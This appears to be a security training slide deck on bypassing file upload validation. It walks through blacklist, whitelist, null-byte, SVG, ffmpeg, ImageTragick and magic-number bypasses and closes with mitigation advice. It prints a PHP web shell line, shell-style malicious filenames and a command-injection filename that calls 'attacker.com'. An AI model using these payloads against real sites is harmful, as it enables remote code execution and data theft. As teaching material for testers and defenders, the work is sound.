File upload

vulnerabilities
BY EBRAHEM HEGAZY
Agenda
• How file upload pages works?
• Bypassing Developers validation of:
– Filename only (Whitelist)
– Filename only (Blacklist)
– File Type only
– File Contents only
– Filename and File-type
– File type and File-contents
– Filename, File-type and File content
– Exploiting Server Side Libraries
– Forcing the files to be downloadable not executable
– Exploitation of other common developers mistakes
• Conclusion
File upload pages and its main headers
For every file upload page, there are some headers that always exist. Lets name it main
headers.

The main headers are:

• File Name
• File Type
• Magic Number
• File Content
• File Size
Bypassing Developers Validation
Scenarios:

In the coming slides, we will go through different scenarios of how developers validates the uploaded
files and how Pentesters can bypass it.
Scenario 1 (BlackList)
Blacklisting Dangerous files?
The developer validates that the uploaded file doesn’t have or contain .php or php5 etc via black-listing
technique.

Bypass:
Above Regex is vulnerable as it doesn’t check the case insensitivity of file extension.

Mitigation:
^.*\.(php|php1|php2|php3|php4|php5|php6|php7|phtml|exe)$/i
 Scenario 2 (Apache-Linux)
Properly Blacklisting .php files
The developer properly validate that the uploaded file doesn’t have or contain .php, PHP, or php5 etc
via black-listing technique.

How to bypass:

We can bypass this validation using the .pht files. The PHT file stores HTML page that includes a
PHP script.
Scenario 2 (IIS-Windows)
On windows servers, if the same validation is done for asp pages, we can bypass it using .cer & .asa
extensions. IIS <= 7.5 have Both *.asa and *.cer mapped to asp.dll, thus executing ASP code.
Scenario 3 (BlackList)
Bypassing all executabel extensions?

In this scenario the developer is black-listing all dangerous extensions that would allow code
execution. But how about using .eml to trigger a Stored XSS?

Source: https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
 Scenario 4

Validating Filename only (Whitelist):

In this scenario, the developer is validating the filename ONLY by Whitelisting .jpg via server-side code, using below Regex
 Scenario 4
Validating Filename only (Whitelist):

The regex is NOT properly implemented. It validates that the filename contains .jpg but doesn’t validate that the filename
ends with .jpg

Moreover on While-listing:

^.*\(jpg|gif|png)$\i

Regex doesn’t contain Dot, means it only makes sure that file ends with allowed filenames:

File.php.jkha11111jpg
 Scenario 5
Null Byte Injection

The null character is a control character with the value zero. PHP treats the Null Bytes %00 as a terminator (same as C
does). Thus, renaming your file to be shell.php%001.jpg or shell.php\x00.jpg shall satisfy the file upload page because the
file ends with .jpg, but the file will be treated as .php due to termination of whatever after the Null Byte.

Note: renaming the file to shell.phpD.jpg, upload it and then replace the hex represntaion of D with 00 will
also work.
 Scenario 6
If the application allows upload of .svg images

SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance XXE, or Stored XSS as
below.
Scenario 7
Allowing video uploads?

Due to a SSRF vulnerability in ffmpeg library, it is possible to create a video file that when uploaded to any
application that supports video files (i.e Youtube, vk, Flicker etc) you will be able to read files from that
server when you try to watch the video!

Command: ffmpeg -i video.avi{m3u} video.mp4 - https://github.com/neex/ffmpeg-avi-m3u-xbin/

Scenario 8
Directory Traversal

You can upload your file with the name of “../../../logo.jpg” for example to replace the main website logo. This issue happens
due to lack of validating the filename.
Demo: https://hackerone.com/reports/191884
 Scenario 9
Validating the file content and missing the file-name.

Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image and doesn’t
contain meta-data, however, not validating the uploaded file name.

How to bypass:

• We get a normal image, convert it using the php-gd library

• Now we have 2 files, we convert it to hex and start searching for identical bytes
• When finding the identical bytes, we replace those bytes with our backdoor code (i.e.
<?system($GET[‘x’]);?>)
 Scenario 9 POC
Validating the file content and missing the file-name.

Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image
and doesn’t contain meta-data, however, not validating the uploaded file name.

https://secgeek.net/bookfresh-vulnerability/
 Scenario 10
Image Tragic Attack

SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance ImageMagic which is an
image processing library is vulnerable to SSRF and RCE vulnerabilities.

Source (Facebook RCE): http://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html

Scenario 11
Exploiting old IIS servers

IIS in its earlier versions < 7.0 had an issue handling the uploaded files. An attacker can bypass the file upload pages using
filename as: shell.aspx;1.jpg
Scenario 12
DOS Attack

Web applications that doesn’t validate the file-size of the uploaded files are vulnerable to DOS attack as an attacker can
upload many large files which will exhaust the server hosting space.
Scenario 13
Magic Numbers

Developers validates the file-contents starts with Magic Numbers and the file-content is set to image/gif.

Exploit:

Uploading shell.php but setting the content type to image/gif and starting the file contants with GIF89a; will do the job!
RCE via zip files

Developers accepts zip file, but handle filenames via command line.

Exploit:

Filename;curl attacker.com;pwd.jpg
Scenario 14
OOB SQL Injection via filename:

If the developers are trusting the filenames and pass it directly to the Database, this will allow attackers to execute Out of
Band SQL Injection. A good scenario would be companies asking you to submit your CV without validating the CV name.
 Scenario 15
Cross Domain Content Hijacking

When developers are validating the uploaded filename, content-type but missing to validate the uploaded file content. It is
possible to upload a Flash file with .jpg extension, then call that flash file with <object tags in your website and Bingo, you
are able to do Cross Origin Requests to steal CSRF tokens.

How browsers see it?

1. Plugins like Flash doesn't care about the extension or content-type

2. If the file is embeded using <object> tag, it will be executed as a Flash file as long as the file content looks
like Flash.
https://github.com/nccgroup/CrossSiteContentHijacking
Demo time
1) Port Swigger File upload lab
2) Local file upload labs
3) Review of the file upload exploitation Burp plugin
Homework?
1) Complete the Portswigger lab
2) Complete the 2 file upload labs locally
Conclusion
File upload functionality is not straightforward to implement securely. Some recommendations to consider in
the design of this functionality include:

• Use a server-generated filename if storing uploaded files on disk.

• Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types.
Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
• Enforce a whitelist of accepted, non-executable file extensions.
• If uploaded files are downloaded by users, supply an accurate non-generic Content-Type header, the X-
Content-Type-Options: nosniff header, and also a Content-Disposition header that specifies that browsers
should handle the file as an attachment.
• Enforce a size limit on uploaded files (for defense-in-depth, this can be implemented both within application
code and in the web server's configuration).
• Reject attempts to upload archive formats such as ZIP.